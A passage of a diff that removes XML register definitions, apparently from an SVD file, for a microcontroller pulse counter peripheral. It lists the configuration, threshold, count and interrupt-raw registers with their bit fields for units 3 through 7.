-              <description>This register is used to control the mode of channel0's input posedge signal for unit3. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_HCTRL_MODE_U3</name>
-              <description>This register is used to control the mode of channel0's high control signal for unit3. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_LCTRL_MODE_U3</name>
-              <description>This register is used to control the mode of channel0's low control signal for unit3. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_NEG_MODE_U3</name>
-              <description>This register is used to control the mode of channel1's input negedge signal for unit3. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_POS_MODE_U3</name>
-              <description>This register is used to control the mode of channel1's input posedge signal for unit3. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_HCTRL_MODE_U3</name>
-              <description>This register is used to control the mode of channel1's high control signal for unit3. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_LCTRL_MODE_U3</name>
-              <description>This register is used to control the mode of channel1's low control signal for unit3. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U3_CONF1</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THRES0_U3</name>
-              <description>This register is used to configure thres0 value for unit3.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THRES1_U3</name>
-              <description>This register is used to configure  thres1 value for unit3.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U3_CONF2</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_H_LIM_U3</name>
-              <description>This register is used to configure thr_h_lim value for unit3.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_L_LIM_U3</name>
-              <description>This register is used to confiugre thr_l_lim value for unit3.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U4_CONF0</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00003C10</resetValue>
-          <fields>
-            <field>
-              <name>FILTER_THRES_U4</name>
-              <description>This register is used to filter pluse whose width is smaller than this value for unit4.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FILTER_EN_U4</name>
-              <description>This is the enable bit for filtering input signals for unit4.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_ZERO_EN_U4</name>
-              <description>This is the enable bit for comparing unit4's count with 0 value.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_H_LIM_EN_U4</name>
-              <description>This is the enable bit for  comparing unit4's count with thr_h_lim value.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_L_LIM_EN_U4</name>
-              <description>This is the enable bit for comparing unit4's count with thr_l_lim  value.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES0_EN_U4</name>
-              <description>This is the enable bit for comparing unit4's count with  thres0 value.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES1_EN_U4</name>
-              <description>This is the enable bit for  comparing  unit4's count with thres1 value .</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_NEG_MODE_U4</name>
-              <description>This register is used to control the mode of channel0's input negedge signal for unit4. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_POS_MODE_U4</name>
-              <description>This register is used to control the mode of channel0's input posedge signal for unit4. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_HCTRL_MODE_U4</name>
-              <description>This register is used to control the mode of channel0's high control signal for unit4. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_LCTRL_MODE_U4</name>
-              <description>This register is used to control the mode of channel0's low control signal for unit4. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_NEG_MODE_U4</name>
-              <description>This register is used to control the mode of channel1's input negedge signal for unit4. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_POS_MODE_U4</name>
-              <description>This register is used to control the mode of channel1's input posedge signal for unit4. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_HCTRL_MODE_U4</name>
-              <description>This register is used to control the mode of channel1's high control signal for unit4. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_LCTRL_MODE_U4</name>
-              <description>This register is used to control the mode of channel1's low control signal for unit4. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U4_CONF1</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THRES0_U4</name>
-              <description>This register is used to configure thres0 value for unit4.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THRES1_U4</name>
-              <description>This register is used to configure  thres1 value for unit4.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U4_CONF2</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_H_LIM_U4</name>
-              <description>This register is used to configure thr_h_lim value for unit4.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_L_LIM_U4</name>
-              <description>This register is used to confiugre thr_l_lim value for unit4.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U5_CONF0</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00003C10</resetValue>
-          <fields>
-            <field>
-              <name>FILTER_THRES_U5</name>
-              <description>This register is used to filter pluse whose width is smaller than this value for unit5.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FILTER_EN_U5</name>
-              <description>This is the enable bit for filtering input signals for unit5.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_ZERO_EN_U5</name>
-              <description>This is the enable bit for comparing unit5's count with 0 value.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_H_LIM_EN_U5</name>
-              <description>This is the enable bit for  comparing unit5's count with thr_h_lim value.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_L_LIM_EN_U5</name>
-              <description>This is the enable bit for comparing unit5's count with thr_l_lim  value.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES0_EN_U5</name>
-              <description>This is the enable bit for comparing unit5's count with  thres0 value.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES1_EN_U5</name>
-              <description>This is the enable bit for  comparing  unit5's count with thres1 value .</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_NEG_MODE_U5</name>
-              <description>This register is used to control the mode of channel0's input negedge signal for unit5. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_POS_MODE_U5</name>
-              <description>This register is used to control the mode of channel0's input posedge signal for unit5. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_HCTRL_MODE_U5</name>
-              <description>This register is used to control the mode of channel0's high control signal for unit5. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_LCTRL_MODE_U5</name>
-              <description>This register is used to control the mode of channel0's low control signal for unit5. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_NEG_MODE_U5</name>
-              <description>This register is used to control the mode of channel1's input negedge signal for unit5. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_POS_MODE_U5</name>
-              <description>This register is used to control the mode of channel1's input posedge signal for unit5. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_HCTRL_MODE_U5</name>
-              <description>This register is used to control the mode of channel1's high control signal for unit5. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_LCTRL_MODE_U5</name>
-              <description>This register is used to control the mode of channel1's low control signal for unit5. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U5_CONF1</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THRES0_U5</name>
-              <description>This register is used to configure thres0 value for unit5.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THRES1_U5</name>
-              <description>This register is used to configure  thres1 value for unit5.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U5_CONF2</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_H_LIM_U5</name>
-              <description>This register is used to configure thr_h_lim value for unit5.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_L_LIM_U5</name>
-              <description>This register is used to confiugre thr_l_lim value for unit5.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U6_CONF0</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00003C10</resetValue>
-          <fields>
-            <field>
-              <name>FILTER_THRES_U6</name>
-              <description>This register is used to filter pluse whose width is smaller than this value for unit6.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FILTER_EN_U6</name>
-              <description>This is the enable bit for filtering input signals for unit6.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_ZERO_EN_U6</name>
-              <description>This is the enable bit for comparing unit6's count with 0 value.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_H_LIM_EN_U6</name>
-              <description>This is the enable bit for  comparing unit6's count with thr_h_lim value.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_L_LIM_EN_U6</name>
-              <description>This is the enable bit for comparing unit6's count with thr_l_lim  value.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES0_EN_U6</name>
-              <description>This is the enable bit for comparing unit6's count with  thres0 value.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES1_EN_U6</name>
-              <description>This is the enable bit for  comparing  unit6's count with thres1 value .</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_NEG_MODE_U6</name>
-              <description>This register is used to control the mode of channel0's input negedge signal for unit6. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_POS_MODE_U6</name>
-              <description>This register is used to control the mode of channel0's input posedge signal for unit6. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_HCTRL_MODE_U6</name>
-              <description>This register is used to control the mode of channel0's high control signal for unit6. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_LCTRL_MODE_U6</name>
-              <description>This register is used to control the mode of channel0's low control signal for unit6. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_NEG_MODE_U6</name>
-              <description>This register is used to control the mode of channel1's input negedge signal for unit6. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_POS_MODE_U6</name>
-              <description>This register is used to control the mode of channel1's input posedge signal for unit6. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_HCTRL_MODE_U6</name>
-              <description>This register is used to control the mode of channel1's high control signal for unit6. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_LCTRL_MODE_U6</name>
-              <description>This register is used to control the mode of channel1's low control signal for unit6. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U6_CONF1</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THRES0_U6</name>
-              <description>This register is used to configure thres0 value for unit6.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THRES1_U6</name>
-              <description>This register is used to configure  thres1 value for unit6.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U6_CONF2</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_H_LIM_U6</name>
-              <description>This register is used to configure thr_h_lim value for unit6.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_L_LIM_U6</name>
-              <description>This register is used to confiugre thr_l_lim value for unit6.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U7_CONF0</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00003C10</resetValue>
-          <fields>
-            <field>
-              <name>FILTER_THRES_U7</name>
-              <description>This register is used to filter pluse whose width is smaller than this value for unit7.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FILTER_EN_U7</name>
-              <description>This is the enable bit for filtering input signals for unit7.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_ZERO_EN_U7</name>
-              <description>This is the enable bit for comparing unit7's count with 0 value.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_H_LIM_EN_U7</name>
-              <description>This is the enable bit for  comparing unit7's count with thr_h_lim value.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_L_LIM_EN_U7</name>
-              <description>This is the enable bit for comparing unit7's count with thr_l_lim  value.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES0_EN_U7</name>
-              <description>This is the enable bit for comparing unit7's count with  thres0 value.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES1_EN_U7</name>
-              <description>This is the enable bit for  comparing  unit7's count with thres1 value .</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_NEG_MODE_U7</name>
-              <description>This register is used to control the mode of channel0's input negedge signal for unit7. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_POS_MODE_U7</name>
-              <description>This register is used to control the mode of channel0's input posedge signal for unit7. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_HCTRL_MODE_U7</name>
-              <description>This register is used to control the mode of channel0's high control signal for unit7. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_LCTRL_MODE_U7</name>
-              <description>This register is used to control the mode of channel0's low control signal for unit7. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_NEG_MODE_U7</name>
-              <description>This register is used to control the mode of channel1's input negedge signal for unit7. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_POS_MODE_U7</name>
-              <description>This register is used to control the mode of channel1's input posedge signal for unit7. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_HCTRL_MODE_U7</name>
-              <description>This register is used to control the mode of channel1's high control signal for unit7. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_LCTRL_MODE_U7</name>
-              <description>This register is used to control the mode of channel1's low control signal for unit7. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U7_CONF1</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THRES0_U7</name>
-              <description>This register is used to configure thres0 value for unit7.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THRES1_U7</name>
-              <description>This register is used to configure  thres1 value for unit7.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U7_CONF2</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_H_LIM_U7</name>
-              <description>This register is used to configure thr_h_lim value for unit7.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_L_LIM_U7</name>
-              <description>This register is used to confiugre thr_l_lim value for unit7.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U0_CNT</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PLUS_CNT_U0</name>
-              <description>This register stores the current pulse count value for unit0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U1_CNT</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PLUS_CNT_U1</name>
-              <description>This register stores the current pulse count value for unit1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U2_CNT</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PLUS_CNT_U2</name>
-              <description>This register stores the current pulse count value for unit2.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U3_CNT</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PLUS_CNT_U3</name>
-              <description>This register stores the current pulse count value for unit3.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U4_CNT</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PLUS_CNT_U4</name>
-              <description>This register stores the current pulse count value for unit4.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U5_CNT</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PLUS_CNT_U5</name>
-              <description>This register stores the current pulse count value for unit5.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U6_CNT</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PLUS_CNT_U6</name>
-              <description>This register stores the current pulse count value for unit6.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U7_CNT</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PLUS_CNT_U7</name>
-              <description>This register stores the current pulse count value for unit7.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THR_EVENT_U0_INT_RAW</name>
-              <description>This is the interrupt raw bit for channel0 event.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U1_INT_RAW</name>
-              <description>This is the interrupt raw bit for channel1 event.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U2_INT_RAW</name>
-              <description>This is the interrupt raw bit for channel2 event.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U3_INT_RAW</name>
-              <description>This is the interrupt raw bit for channel3 event.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U4_INT_RAW</name>
-              <description>This is the interrupt raw bit for channel4 event.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U5_INT_RAW</name>
-              <description>This is the interrupt raw bit for channel5 event.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U6_INT_RAW</name>
-              <description>This is the interrupt raw bit for channel6 event.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U7_INT_RAW</name>
-              <description>This is the interrupt raw bit for channel7 event.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
